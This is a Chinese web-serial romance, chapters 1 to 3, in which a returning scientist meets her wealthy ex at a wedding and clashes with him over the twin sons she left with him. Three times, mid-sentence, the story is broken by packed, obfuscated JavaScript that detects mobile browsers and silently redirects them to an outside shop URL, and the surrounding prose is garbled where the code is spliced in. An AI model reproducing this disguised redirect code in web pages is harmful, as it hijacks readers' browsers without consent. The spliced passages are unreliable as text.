《扔球跑后第五年[破镜重圆]》 1. 第 1 章 日头正烈。 车子在繁华大街堵了半小时,骑行大军畅快经过,欢声笑语顺着侧窗传入,闷在车里的人只觉得聒耳。 方楷莹看着路边的共享单车走神,耳边传来敲叩方向盘的声音和未婚夫沉闷的叹息。 “方教授,你指的路是不是...” 她回头,不好意思地笑笑。 国庆期间走这条街,实在不是个好主意。 不能怪方楷莹,她出国五年,人和城市都由内而外变了风貌。 今天的她穿一条灰色西裤,真丝质地的淡白衬衫,黑长直披在锁骨,浑身散发冷淡高智的气质。 只要不开口说话,便是赏心悦目的风景。 “我现在去骑共享单车,就能赶得上婚礼。”方楷莹说着,拎起座位旁的珑骧包。 未婚夫在她下一步行动前及时锁住车门,身子微侧过来,短暂皱了下眉。 为了参加她朋友的婚礼,他不仅把自己打扮得草枝招展,也给她精心搭配适合参加婚礼的衣服,深灰色领带配她的浅灰裤装,看起来是相敬如宾的一对儿。 可她还是带上了这个磨破边角的尼龙袋子,毁了一身好穿搭,而且现在要把他扔在半路! 未婚夫好脾气地问道:“你是不是忘了什么?” “哦对了,”方楷莹没有察觉到他的情绪,手掌摊开在他面前,“礼金给我。” 未婚夫仿佛被按下暂停键的影片,缓了好久才顺下这一口气,摸出口袋里早就为方楷莹准备好的红包。 这也不能怪方楷莹,他不应该让她猜来猜去。 “我是说,”他用红包指向自己那张斯文端正的脸,“那我呢?” 方楷莹沉默片刻,斟酌一番用词之后,“可是...她不认识你,你也不认识她。” 你没有去的必要。 未婚夫无语又觉得好笑,牵她的手放进掌心,浅浅笑道:“方教授,你平时连学术会都躲着,婚礼这种social场合,你确定你自己可以应付得来?” “……” 方楷莹忽然觉得他有去的必要。 她一声不吭,笔直地贴着椅背继续等待。 未婚夫把红包收回胸前内口袋,望着前方碍塞的车河,说:“我们应该可以赶上,我想认识你的朋友。” 他实在太好奇,究竟什么样的人才愿意和方楷莹做朋友? — 他们赶上了婚礼的后半程。 这场婚礼的女方是她最好的朋友,男方说起来也算是熟人,而方楷莹的身份应该是劝分八百回你还有脸来吃席的那种。 婚礼现场哄哄闹闹,在方楷莹眼中如同汹涌的海浪波涛。 她怔站在原地,喉头勉强吞咽了下,鼓起勇气迈出一步,差点撞上送蛋糕的服务生,幸好未婚夫抢先拉住她。 终于在人海中找到自己的位置,她刚舒出半口气,心又提起来。 圆桌对面的空座位,桌牌印着一个让她立刻就会手心出汗的名字。 未婚夫拿出张纸巾,擦掉方楷莹额头的细汗,温柔地询问:“怎么出汗了?” 她的目光匆匆瞥过那张桌牌。 默不作声。 出汗、心跳、胃部抽紧。 她很明白这是什么感觉。 那一桌是男方的朋友,皆是京城有头有脸的富家子弟,她不明白为什么把她安排在这里,几度窃看那张桌牌。 他应该不会来了。 作为桌上唯一女性,富二代们忽略了她身边的男伴,主动与方楷莹搭话。 带着书香气质的女人平时少见。 只是这位太过清高。 搭讪的话题她都不接,男人们觉得忒无趣。清傲的女人神秘感十足,但连个微笑都吝啬,就太不懂事了。 于是餐桌话题很快转移到那个没有来的人身上——甄家桀骜不驯的长子。 名声最大,适合当谈资。 甄家在京市如同传说般存在,鼎盛家族的能量大到平常人无法想象,军政商绵延几代,成员却都低调,从不显山露水。 甄世明大概是个孽子。 狂傲不逊,嚣张恣肆都是他的判词。 今天如果他在,再多富二代也只能沦为陪衬,男人们忌惮他背后那座通天高塔,也期待多年,等着看这楼怎么在他手中塌。 可他们直到现在都失望,甄世明突然接掌家中产业的那年,也是甄家地位再无人比肩的一年。 也是那一年,有媒体拍到他和港城首富独女一起推婴儿车散步,后续却没有一丝消息曝光于众。 “两个孩子,双胞胎。”好事者眉飞色舞。 方楷莹耳朵微微颤动,不小心被茶水呛住,顿时脸颊通红,抖着肩膀咳出眼泪。 一桌人都停下来看她,未婚夫给她拍打后背,而她在泪光中,看到对面座位出现模糊的身影。 - 甄世明的到来吸引了绝大部分目光,过分优越的身形线条,手臂搭着西装外套,黑色暗纹衬衫随意敞开两粒扣,那张英秀的脸撞进眼睛里,没人能移开目光。 他漫不经心坐在方楷莹对面,目光没有分给她更多,偏头对身侧搭讪的男人回应,唇边的笑容弧度很浅淡。 他好像,不认识她。 方楷莹低下头,长睫毛遮住颤动的眼神,手里的纸巾被攥成乱糟糟的一团。 天生的主角被簇拥着,人们都以为他不会来,此刻不由自主地往他身边靠拢,男人们脸上挂着恭维笑容,法令纹将无奈的嫉恨深深隐藏。 不止忮忌他的地位和财富。 他们在甄世明更年轻时就认识他,如今男孩个个变成男人,成熟了,更明白什么是无法跨越的阶级,他们只是期盼着岁月也在甄世明的脸上狠狠雕刻,毕竟他们即便没有脱发,也都开始发胖。 可时光温柔地抚摸过甄世明的脸,他坐在那,一举一动,潇洒依旧,光彩照人。 男人们笑得咬牙切齿。 — 新娘蓝梦挽着新郎的手臂来敬酒,方楷莹低着头,双手在桌下偷偷握紧,没发现新娘已经来到她身边。 蓝梦俯身在她耳边轻笑低语:“这么多年没见,甄世明是不是又帅你一大跳?” 方楷莹条件反射般看过去,又条件反射般躲避目光,起身介绍身边男人,动作有些匆忙,脸颊也发烫:“这是我的未婚夫。” 新郎秦赫是甄世明最好的朋友,此刻笑得意味深长,话里听不出是夸赞还是嘲讽:“知道!早在好几个官方号都看过方教授夫妇的事迹了,放弃美国高薪,参与国产光刻机研发事业。” 蓝梦瞪他一眼,豪爽地搂住好姐妹肩膀,“你说你回来也不提前跟我说,你要告诉我,我肯定找个舞狮队去机场迎接你。” 她走了这么多年,觉得蓝梦会和她生分,不习惯被蓝梦搂着肩膀,自以为隐蔽地往侧面挪了挪,又被蓝梦拽回,贴着涂满闪粉的新娘手臂。 蓝梦有个好性格,无论多久没见面,都能用三两句话让方楷莹感觉安心又亲切。 “莹莹,别躲嘛,我可不是豺狼虎豹。”蓝梦看了甄世明一眼。 方楷莹尴尬地笑笑,向蓝梦的肩膀撞撞。 蓝梦给方楷莹的酒杯里倒上三杯白酒,一个劲儿把酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816782|190925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杯往方楷莹手里递,兴奋地向众人喊说:“迟到的人自罚三杯,你可别想躲!” 这杯酒是好朋友在试探未婚夫,可方楷莹没那么细腻的心思,乖乖接过酒杯,皱起一双秀眉。 未婚夫很自然地从她手里接过酒杯,客客气气说:“迟到罚酒是应该的,楷莹喝不了酒,我喝这杯敬你们,祝你们新婚快乐,琴瑟百年。” 话说得挺漂亮,把三杯罚酒化成一杯祝福,让人没有继续纠缠的道理。 蓝梦忽然拦下酒杯,眼神抛去方楷莹的对面,“先等等,今儿迟到的可不止你们俩。” 方楷莹偷偷拽了下蓝梦的敬酒服,蓝梦权当没感觉,扬首挑眉,对甄世明说:“甄少爷,您别以为不说话我就没看着,我站台上就挪不开眼了,您今儿这是要帅死谁啊?” 甄世明双手抱臂,唇角微扬,眉眼中透出捉不着的浮浪,他拎起桌上的分酒器,一饮而尽。 一桌人都热闹起来。 蓝梦带头拍手叫好,“好好好!多少年没见过甄世明喝酒了,足有五年了吧,我结婚你想醉,这不对吧?说!是不是曾经暗恋过我?” 甄世明笑而不语,将分酒器倒扣在桌上。面对蓝梦的调侃,他不当众反驳,但所有人都知道这只是个玩笑。 大家不清楚甄世明到底什么口味,但绝不是蓝梦这类型。 家境不错的女生自信又奔放,惦记甄世明的不少,前赴后继捕猎似的,没见谁擒住过甄世明的心。 一帮人插科打诨,甄世明动了动唇,欢声笑语的人们立马消音。 他说:“方教授,请随意。” 甄世明的声音并不大,却与生俱来引人瞩目,人们目光齐齐向方楷莹看过来。 最尴尬的是手捏酒杯的未婚夫。 既然要替挡酒,就要挡到底,有甄世明打样,他现在喝完三杯都算少,只能硬着头皮,给无辜的胃连上三道酷刑。 未婚夫有点儿醉,让他喝醉的祸首却置身事外,又和新婚夫妻喝了两杯。 直到蓝梦和秦赫去别桌敬酒,未婚夫还杵着脑袋,耳朵和脖子通红通红。 方楷莹实在想走,未婚夫却摆摆手,说:“我没事的,新娘不是说一会儿有拍照环节,你口红蹭掉了。” 他醉眼温柔地看着方楷莹的嘴唇,“去补补妆,漂漂亮亮的。” 未婚夫不想做扫兴的人,可方楷莹总感觉有一道视线若有似无地掠过她。 她突然产生了把未婚夫扔在这儿的想法,拿起包短暂逃离,对着卫生间镜子匆匆补过口红,站在镜前内心好好挣扎了一番,才没有直接朝着婚宴的反方向离开,但她还是朝那个方向看了一眼。 只是一眼,那道身影就闯进视线。 仿佛早知道她要逃。 婚宴入口的反方向,甄世明倚在走廊,衬衫袖口别起露出紧实的小臂线条,修长的脖颈折下显得沉郁,眼梢微垂望着一处虚空。 方楷莹的心骤然紧缩,手指不自觉抓紧,愣神的瞬间,他已经望向她。 她唇边的弧度像是被两根透明细线提拉起来,僵硬微笑,微微点头。 甄世明没有回应她的笑容,一双醉眼牵扯她的动线,看她迅速转身,胳膊打直,整个人像同手同脚的提线娃娃。 她疾步走向婚宴的入口,手放在木门的把手,手腕突然被捉紧,自上俯睨的目光锁住她,她试图挣扎,手腕上的力道收得更紧,她踉跄后退,脊背狠撞到男人胸口。 方楷莹闭上眼睛,喉咙发紧,心脏像被摔在弹簧床上。 隐藏极深的混蛋低声问:“阿莹,你未婚夫知道你有两个孩子吗?” 2. 第 2 章 甄世明一定喝醉了。 甄世明一定喝醉了。 比现在更年轻时,甄世明给方楷莹起了很多外号,他总不愿连名带姓地叫她,多数时候她是萤火虫,戏谑时叫她小虫子,被气极时才会喊她全名。 阿莹。 他只有在床上才反复呢喃。 旖旎的回忆冲溃记忆堤堰,方楷莹下意识紧拢双腿抵挡,才能不让自己的身体整个垮塌。 甄世明钳住她的手臂,一路将她扯进新郎休息室。 休息室垂挂厚重的红绒布窗帘,微光和尘埃都被浸成赤色,整个房间既像诡异的新婚洞房,又像随时发生变态凶杀案的现场。 方楷莹躲无可躲,后背紧靠着门,发梢粘在出了汗的颈前,抬眼就能看到甄世明脖颈的筋线和咬紧的下颌,他那双眼睛从不遮掩爱恨,就像现在凶狠得让人不敢直视。 “你未婚夫到底知不知道孩子的存在?”他发狠道,手上的力仿佛要掐断腕上的脉搏。 慎重是应该的,甄家的成员需要安稳,需要保护,需要神秘,尤其是私生的孩子——她明白的。 方楷莹迫自己冷静下来,低声说道:“他知道我有孩子,但不知道孩子的爸爸是你,你可以放心。” 沉默良久,她听到一声很沉的呼吸,紧跟着便是他的冷笑,“我拿不出手是吗?” 方楷莹:“?” 她出国后没有和谁讲过旧事,就连未婚夫也只是知道她有孩子,生活在国外的国人都有故事,她不愿提,他也不多过问。 甄世明一如既往不讲理。 方楷莹认真思考一番,在别人眼里,她恐怕才是甄世明的案底。 “那我回家就告诉他。” 既然回国了,应该和未婚夫好好谈谈,也应该和甄世明谈谈关于抚养权的事。 甄世明脸色微变,怒意更盛。 脸颊和嘴唇都染上浅血红。 “你敢!” 方楷莹怎么不敢? 曾经不敢,现在也敢。 “我还要跟你谈谈抚养权的事。”她抬眼直视,没察觉自己声音微颤:“但不是现在,不是这样。” 这样被抓着手腕压制,谁都没法心平气和,她努力克制回忆侵入,甚至微微闭气,不让熟悉的气味攻城略地。 “跟我谈抚养权,你抚养过吗?”甄世明颌骨微紧,咄咄逼人:“你配吗?” 透过红薄而紧绷的唇,以及扑在脸上的滚烫气息,她已经能判断他的怒意。 甄世明有着完美的唇型,饱满下唇包裹着说不清道不明的肉.欲,美中有缺大概是唇面那一道旧痕,说话的动作牵动微白的印记,像一粒雪籽覆在朱砂之上,那是被她咬的。 她看着,出了神。 “别这么看着我,方楷莹。” 若不是甄世明警告,方楷莹也不会发现自己一直在盯着他的嘴唇看。 她心虚地掷开目光,同时抽回手腕,“我现在已经有能力抚养他们了,曾经的亏欠也会弥补回来。” 甄世明看着她虚张声势般挺起的胸骨,不屑地笑了声,舌尖舔过唇上那道不易察觉的旧痕。 “方楷莹出国五年,方教授衣锦还乡,我当然相信你的能力,但我养了五年的孩子,你一回国就想要抚养权...” 他的手掌轻轻放在方楷莹的咽喉,食指拇指略微施力,仿佛要掐死她,方楷莹被迫着仰头直视那双爱憎分明的眼,耳边声音忽然轻,气音入耳甚至有种温柔缱绻的错觉。 “是想死吗?” 方楷莹闭上眼睛。 他们当初根本不算体面的分手,她不告而别,丢下两个孩子给他,他恨是应该的,只是道歉的话哏在喉头,方楷莹说不出来。 直到现在她也没觉得自己选错路,当时的情况,她没有能力照顾好孩子,这一点,她和甄世明都清楚。 “我并不是要和你抢孩子。”总要有一个人冷静下来,甄世明现在像能咬碎她的骨头,她只能后退一步,“我想先见见孩子,我很想他们。” 甄世明停滞了一瞬,似乎这个请求他从来没设想过。 “不可以。”他冷硬地回答:“他们不知道你的存在,也并不想你。” 这答案也是方楷莹料想过的,可真的面对这种现实时,还是感觉鼻酸,强撑着点头,脸上依旧平淡,看不出丝毫溃败。 甄世明看了她很久,像野兽盯着猎物那样看,直到看出她没有任何威胁,才将手掌缓慢挪开,甚至为她拨开粘在脖颈上的一缕发丝。 他打开门,又站定,略略回头,目光不经意地重新瞥去,方楷莹的脸上始终没有任何多余的表情,浑身散发着不近人情的冷漠。 他眼底黯淡, 还以为她真的变了, 真的在乎了。 - 甄世明走后,被摔上的房门只发出一声沉闷的响,很快就恢复平静,方楷莹在昏暗房间里发呆很久。 整理好心情再次回到婚礼现场,甄世明正在和她的未婚夫攀谈。 他是会让她心跳加速的。 她默默挪步过去,装作刚才无事发生,只是没发现口红早已被抿过边缘,丝毫不像刚补过的。 甄世明更是个好演员,坐在她的位置,长腿交叠,散漫地支着下巴,在闲聊中了解未婚夫的家世和来路。 未婚夫为人亲切和善,自然是有问必答、和盘托出,何况甄世明是最受瞩目的人,主动关心和攀谈让他有得到殊荣的感觉。 甄世明那双眼睛此刻怒气尽销,充满耐心和善意,简直是个顶级的骗子。 “楷莹从小是天才,我做学术不如她,这次回国是我沾了她的光,科研所会安排个行政岗位给我。”未婚夫红着脸,表情因为太想要体面而显得不太自然,他表示并不介怀女强男弱的家庭。 “我们家是楷莹主外,我主内。” 方楷莹站在未婚夫身后,悄咪咪戳未婚夫的肩膀,他仰头笑起来,顺手牵住她的手,让她坐下。 甄世明则垂下眼眸,不动声色地擦掉衬衫纽扣的彩色印迹,荧光黄绿色落进她眼眸,那是孩子的彩笔涂鸦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816783|190925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定是那两个孩子的调皮之作,甄世明对此有种习以为常的淡定姿态。 是哪个孩子呢? 方楷莹想。 她刚坐下,甄世明就表示抱歉,虽然没聊得尽兴,但还有别人需要应酬。 甄世明那张脸极具欺骗性,表达起遗憾来真诚至极,方楷莹甚至听到未婚夫也发自肺腑地叹息了一声。 他走之前向未婚夫递出一张名片,并说:“我手下有一个新公司,需要汪先生这样的人才,有兴趣的话我们可以再谈谈。” 他递出名片,说话时另一条手臂搭在方楷莹的椅背,指尖轻叩椅背上缘的金属。 嗒嗒、嗒嗒。 像她错乱的心跳。 未婚夫与她对视一眼,犹豫片刻后还是接过那张名片。 甄世明走后,方楷莹才回过劲儿来。 “我们回国前不是说好了吗?” “回家再说,慢慢商量。” 未婚夫碰了碰她的肩膀安抚,体面的人不会在婚宴这种场合吵架,只是他发现方楷莹的脸色并不好看,这种闹脾气的表情在方楷莹脸上几乎不会出现,未婚夫甚至闭了闭眼,怀疑自己醉到眼前出现幻象。 方楷莹偏过头,眼睛凝视那个远去的背影。 他像一只南美洲热带雨林的黑蝴蝶,只是轻轻扇了扇翅膀,方楷莹就得面临一场秩序重建的风暴。 多年前是如此,多年后仍是如此。 - 新娘喊朋友们合影,方楷莹还愣坐着,未婚夫提醒她,她难得发一次脾气,未婚夫不敢轻举妄动。 方楷莹直直站起来,压根没有考虑到未婚夫需要她的邀请,才能进入她朋友的结婚图册,她只顾着要去找甄世明问问清楚。 新娘新郎站在C位,好人缘的蓝梦和秦赫自然是有一群蜂拥而上的朋友。 方楷莹并不抢,静静站在最边上,最受瞩目的人应酬刚结束,被人们注视着走来,几乎所有人都诧异他竟然会主动走向边缘位置,更奇怪为什么新郎和新娘对此无动于衷。 蓝梦和秦赫对视,一个挑眉,一个皱眉。新婚夫妇刚打了个赌,蓝梦赌这张照片里,甄世明和方楷莹的距离不会超过一米。 她赢了。 相机快门按动的前一刻,周围俊男靓女都在整理衣着表情,方楷莹趁乱低声问:“你什么意思?” 甄世明偏过头,眉角微挑:“我对你未婚夫非常好奇,因为他看起来非常...普通。” 方楷莹直言:“你看起来非常无聊。” 甄世明敛回微笑,严肃道:“我是为了孩子,你身边是什么人,有什么目的,总要查清楚。” “他是个好人。”方楷莹压低声音反驳:“你没有必要把每个人都想得太过复杂。” 快门按下那一刻,方楷莹没有赶上和人们齐声大喊“新婚快乐”,在她默默地念出“快乐”时,身边传过一个更寡淡的声音,虽然快乐的声音鼎沸,可她还是听到了一点点落寞。 “我当初就是没有把你想得很复杂。” 3. 第 3 章 一场婚礼,让方楷莹精疲力尽。 照片拍完之后,甄世明没有再和谁应酬,向新郎打了声招呼就离去,背影潇洒到让方楷莹怀疑自己出现幻听,眼前真实的是连号牌照的黑色埃尔法,接甄世明回到金字塔顶端。 方楷莹好不容易把未婚夫塞进沃尔沃,费劲吧啦扶回单位分配的人才房里,醉酒的汪先生倒头便睡去。 他的衬衫口袋掉出薄薄的名片,烫金纸张,香味高雅,没有公司名称,没有复杂的title,仅是名字和电话。 方楷莹捡起名片,那串号码已经五年没有拨通过,但熟悉的数字曾经刻在心里,飘窗外的一阵微风就吹开覆在上面的尘。 她看了会儿,把名片放回原处。 - 大概晚上九点,未婚夫才从醉酒中醒来,方楷莹正坐在书房看文献。 她穿全棉纯白的睡衣,露一截与睡衣同色的白颈,黑发披肩,在台灯下折出光泽,眼睛更是黑白分明,仿佛这个人身上只有黑白两种颜色,看起来冷淡又空洞。 她看得专注,精力也比一般人充沛,常常看到深夜,忘记时间,汪先生不止一次感慨她是天生的科研人。 “总是凑这么近看屏幕。”未婚夫站在身后,板正她的肩膀,按摩手法也熟练,指腹按在颈椎骨两侧,松解紧绷的肌肉。 未婚夫问她回家后有没有休息,晚上有没有吃饭,方楷莹含含糊糊地摇头回应,目光仍没有从屏幕上挪开,直到他说:“我想找今天那位朋友聊聊。” 方楷莹脊背僵硬,扭头时颈椎也发出“咯”声,“聊什么?” “他能给我一份不错的工作,工资待遇会比行政老师高,以后我们的生活品质也能更好...” “我不同意。”方楷莹显得独断。 空气沉默一瞬。 他想过方楷莹会反对,毕竟已经和科研院讲好条件,回国前方楷莹就已经安排好他的去处,为他争取到归国人才配偶才能享受到的优待政策,方楷莹重视承诺,很多时候也不会变通。 只是他没想到是如此强硬的反对。 这很奇怪。 他试图说服她,但语气始终无法强硬。他是跟随方楷莹回国的,手上没有像样的谈判筹码,早在回国之前他们的相处方式就是这样,但现在他遇到新的工作机会,心里有那么点儿不服气。 他仍然温和地说:“楷莹,我知道我的学术能力不如你,博士毕业后一直在为你搞后勤,但我也有专业方向,这个公司与我专业相符,今天认识的那位朋友——” “是我孩子的爸爸。”方楷莹听得疲惫,屈起指节揉眉心,打断他的喋喋不休,只问了一句:“你想在他手下工作吗?” 未婚夫微张着嘴,“什么?” “你已经听清楚了。”她说。 听清楚了,但不敢相信。 没有人会把她和甄世明联想在一起,甄世明来自一个花花世界,就连在婚礼现场,吸引来搭讪的都是妆容精致、身材有料的女人。 人与人的磁场就是同类互相吸引,普通女孩不会靠近这样耀眼的人物,单单看到他身边的女人就会被自卑劝退。 方楷莹与甄世明,绝对不是同类。 她在人群里,像一座孤独的冰山。 “我跟你说过,我和前任并不是和平分手,他很记仇。”她扶了扶眼镜,继续阅读文献,冷白的屏幕把面中照亮,连垂下的发丝也透着冷感,“我话就说到这儿,你自己看吧。” 汪先生也需要时间来接受,他转身走进厨房,煮鸡蛋面的时候频频晃神。 他本是二代移民,父辈削尖脑袋出国,成为美国公民,而他的人生也一直按部就班,走着优绩主义的成功路,遇见方楷莹是新鲜的偶然事件。 他们谈了一年恋爱,几乎都是他在追随,她独立睿智,也伴随着自私自我,是非常有挑战性的女人。 正当他感觉一切都在好好发展时,她告诉他,她要回国,要分手,地点在浪漫的西餐厅,她当时手握银叉,面无表情。 情意正浓的汪先生自然不肯放弃,他告诉她等他一会儿,不用太久。 方楷莹吃完手边的蔬果沙拉,银叉旁便出现一枚钻戒,报纸包着的鲜花被他双手紧握,水培的花束淋湿西服马甲,那是他临时向餐厅借的装饰物,刚从花瓶里拔出来。 没有想象中的热泪盈眶,方楷莹只是看着钻戒恍惚一瞬。 那个夜晚他们聊到深夜,谈妥诸如不会再生孩子等一系列事项,并不是公平的谈话,但他心甘情愿诸事同意,跟她回国。 汪先生的头脑现在才冷静下来,但权利早已在一次次妥协中让渡。 冲动求婚的后果现在才到来。 男人女人都一样,面对伴侣优秀的前任,总是会对比,然后情不自禁地酸溜溜起来,就像好端端的一碗面,多倒了醋。 这碗面方楷莹只吃了一半,在汪先生看来是嫌弃他的表现,方楷莹却没察觉未婚夫情绪不对。 未婚夫莫名其妙地说起婚宴上人人谈论的八卦:“没准人家已经结婚了,不是有个港城千金吗?可见速度比你还快。” 港城首富的独女,和他推婴儿车那个。 未婚夫试探道:“你们都往前走了,他怎么可能还记仇。” 方楷莹沉默着走神,她现在仍不习惯和别人讨论甄世明,关于甄世明的婚恋情况她也不询问,不了解。 如果他确实结婚了,那么她是不是可以重新去讨论抚养权的归属问题? 解决问题的新思路和某种隐秘的刺痛感碰撞在一起,让她感觉略微不适。 方楷莹没有理会未婚夫,收拾起碗筷,“我不想再探讨这件事情,他结没结婚和我没关系,其实你在工作上的选择我也无权干涉,该提醒的我已经提醒过你了。” 气压莫名变得很低,就算她说了不再干涉汪先生的择业计划,他的脸色也仍然僵硬着,临睡前只和她说了句早睡。 这篇全英文献她一直看到凌晨,直到整个社区都没剩下几盏灯,她关掉电脑走进自己的卧室,未婚夫睡眠不太好,她这几年也习惯一个人睡,所以他们一直都分房睡。 她倚着床头拿起手机,凭记忆在微信搜索那个被她删除的号码,熟悉的头像和名字出现在屏幕上。 他什么都没有换掉。 微信名依然是他的名字,微信号码也没有改过,他的名字加她的生日,头像是大片的黑暗图景,如果不放大仔细去看,大概看不出画面的左上有两只萤火虫。 那是他们曾在度假村的夜晚看到的景象,她拍照技术很烂,放大再放大,才能看到大片黑色图层上的两个黄绿色光点。 方楷莹点进他的朋友圈,希望能看到两个孩子的近况。 可惜,一无所获。 - 甄世明回到家也是凌晨。 甄氏的产业涵盖地产、能源、环保、科技、医疗,他手上的是那些蒸蒸日上的新赛道,自然要更费神费力,年轻人才能熬得动。 他的时间同样宝贵,日程要精确到分钟,参加婚礼耽误的时间需要整个夜晚补回来。 山顶别墅灯火通明,电梯一开,家里的小男孩张开双手,喊叫着从远处扑进他怀里,他单手捂耳,弯下腰,脸上挂着笑。 “爸爸,你终于回来了!”男孩儿喊声尖尖的,直直的。 甄世明把男孩儿抱起,让孩子稳稳坐在手臂上,鼻尖对着鼻尖,皱眉佯怒道:“十二点了怎么还不睡觉?” 小男孩吐舌做鬼脸,“明天不去幼儿园!” 五岁的小男孩,精力比狗旺盛。 抱着男孩儿走出玄关,沙发上女人熟睡,沙发边的小凳子坐着另一个小男孩,安安静静地守着,小手指绕着一缕女人的细长头发。 甄世明抱着老大走过去,冲女人的小腿肚踢了一脚,四仰八叉没睡相。 “甄宝珠,醒醒。” 安静的小男孩把食指比嘴边,声音低低的,“姑姑刚睡着,爸爸你温柔一点。” 甄世明笑了声,把老大放在地上,放低声音温柔地说:“甄宝珠,你上周飙车的事我告诉你老公了。” 甄宝珠一下子从沙发弹起来,挥掌拍在他的后背,“甄世明!你大爷的!我帮你看孩子你恩将仇报啊!” 甄世明眉角轻抬,“我大爷也是你大爷。” 不容甄宝珠再发作,他狠狠揪住妹妹的耳朵,“开我的车去盘山公路,我看你活腻了,车钥匙交出来!” 甄宝珠吱哇乱叫,磨磨蹭蹭往出掏钥匙,一边虚情假意关心:“哥哥你太辛苦了,怎么这么晚才回来?不是真的告诉我老公了吧?” “加班。”甄世明一把夺回钥匙,懒洋洋扔在茶几,靠在沙发仰头,目光散漫地瞥视过去,“下次一定告诉你老公。” 甄宝珠舒了口气,非常狗腿地给甄世明端茶递水,“今天芯芯好乖的,橙橙也没挨打,你说刘阿姨这几年岁数大了,身体也不好,隔三差五请假balabala……” “你想说什么?”甄世明抬手摁了摁颈椎。 “妈想让你赶紧找女朋友,要我说你就跟游悠在一起,人我最好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816784|190925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的朋友,爸爸又是港城首富,配您这单亲爸爸八百个来回带拐弯儿,要不明天一起吃个饭——” 甄世明打断,“她又出什么事儿了?” 甄宝珠故作懵懂,心里明镜儿似的,港城的好姐妹几年前在京市混,跟当红明星玩儿小众的,把男方弄窒息送急诊,眼看要出事,求到甄世明这儿,才有了那张照片。 如果当时能允许媒体再多拍会儿,没准能听到甄世明骂得多脏,游小姐哭得多惨。 甄宝珠不说话,他也不继续问,仁义一次就够了,他现在没心情管别人的破事。 “我是为你好,”甄宝珠转打感情牌:“你这些年没找女朋友,孩子是需要妈妈的,我们再怎么照看也不如…” 见甄世明脸色不佳,甄宝珠也不往下说了。 她是真心疼两个小侄子,想当初她在国外留学,突然听说甄世明有了私生子,连夜跑回国,看到保温箱里干瘦瘦的双胞胎,她落了好几滴眼泪。 关于孩子的妈妈,甄世明绝口不提,仿佛这双胞胎是他一个人生出来的。 现在孩子们五岁了,她也结婚生子,切身体会出带娃的隐苦,更别提甄世明一个单亲爸爸带两个孩子。 甄世明一如既往混蛋,每每有人提起孩子母亲,脸色就阴沉,好像对方多对不起他似的。 她是女人,最懂怀孕生子的难和痛。于是甄宝珠临走前还要补一句扎心的话:“芯芯今天叫我妈妈了。” — 甄世明望向甄芯。 小小的男孩坐在卡通凳上,双手乖巧地放在膝盖,目光落在别处不肯看他,像做错了什么事。 甄世明扯松领带,走过去蹲下身,举起手掌揉了揉儿子微凉的头发,心底生出的亏欠让他脸上也浮着不自然的笑,“芯芯,饿了吗?” 甄芯舔了舔嘴唇,摇头。 他卷起袖口,笑说:“给你做芙蓉汤成吗?” 橙橙也挤过身子来,两张小脸贴在一起,五官是方楷莹的模样,眉目寡淡的、嘴巴薄薄的。 “爸爸!我也饿,我也吃!” 两个小孩笑盈盈地挤在一起,关于妈妈的事会被爸爸自动屏蔽,而他们小小的年级已然懂得看爸爸的脸色。 甄世明拍了拍橙橙的后背,“赛车手,去把你的赛车开回玩具房。” 橙橙是个调皮的,性格颇像甄世明小时候,他伸出攥成拳的小圆手,和爸爸击拳后就上了自己的玩具车,发车之前挺起胸脯向爸爸敬个军礼。 臭屁得很。 “赛车”入库之后,他像抱橙橙那样,也把芯芯拎起来,放在自己肩膀上,小孩只是在腾空的一瞬尖尖地叫了一声,就立刻捂住嘴,一手紧紧揽住爸爸的脖子。 一路走到餐厅,他把芯芯放在岛台的儿童座椅,拿上岛台边儿放着的九阶魔方推过去,芯芯很迅速地拦住魔方,一个人玩儿起来。 芯芯性格安静,也是最聪明的孩子。 魔方拼成,芙蓉汤出锅。 橙橙也已经准备好自己和弟弟的餐具,一个人爬上高座椅,双腿离地在桌下弹来弹去。 夜宵不宜多,吃过还要重新刷牙。 哄孩子入睡已经是后半夜,橙橙没心没肺地折腾了一天,早早就睡着了,芯芯也闭着眼睛,睫毛轻轻颤着。 装睡不能瞒过甄世明的眼睛,他轻轻拨了拨孩子的眼皮,芯芯的唇角早已扬起,依然假装睡着,看起来滑稽又可爱。 “芯芯,今天为什么那样叫姑姑?” 甄芯诚惶诚恐,睁开一只眼睛窃看,又迅速闭上,“我听到姑姑打视频电话,教羲羲叫‘妈妈’,羲羲总是学不会,我就...叫了一声。” “因为羲羲是婴儿啊,”甄世明对待芯芯总是很温柔,“你是小婴儿的时候也不会叫‘爸爸’。” “那...我是什么时候会叫‘妈妈’的?” 